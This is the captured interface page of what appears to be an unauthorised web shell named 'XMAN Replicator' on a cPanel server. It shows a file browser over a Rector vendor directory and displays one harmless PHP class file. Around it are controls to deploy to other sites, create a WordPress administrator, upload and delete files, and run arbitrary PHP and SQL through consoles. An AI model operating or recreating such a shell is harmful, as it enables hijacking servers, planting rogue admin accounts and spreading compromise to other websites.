🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
src
/
PhpDocParser
/
NodeTraverser
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2024-11-08 13:59
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2024-11-08 13:59
🔄
🗑️
🗑️📁
⬇️
🔒
SimpleCallableNodeTraverser.php
800 B
-rw-r--r--
2024-11-08 13:59
✏️
🔄
🗑️
⬇️
🔒
View: SimpleCallableNodeTraverser.php
<?php declare (strict_types=1); namespace Rector\PhpDocParser\NodeTraverser; use PhpParser\Node; use PhpParser\NodeTraverser; use Rector\PhpDocParser\NodeVisitor\CallableNodeVisitor; /** * @api */ final class SimpleCallableNodeTraverser { /** * @param callable(Node): (int|Node|null|Node[]) $callable * @param Node|Node[]|null $node */ public function traverseNodesWithCallable($node, callable $callable) : void { if ($node === null || $node === []) { return; } $nodeTraverser = new NodeTraverser(); $callableNodeVisitor = new CallableNodeVisitor($callable); $nodeTraverser->addVisitor($callableNodeVisitor); $nodes = $node instanceof Node ? [$node] : $node; $nodeTraverser->traverse($nodes); } }
PHP Console
Execute
SQL Console
Execute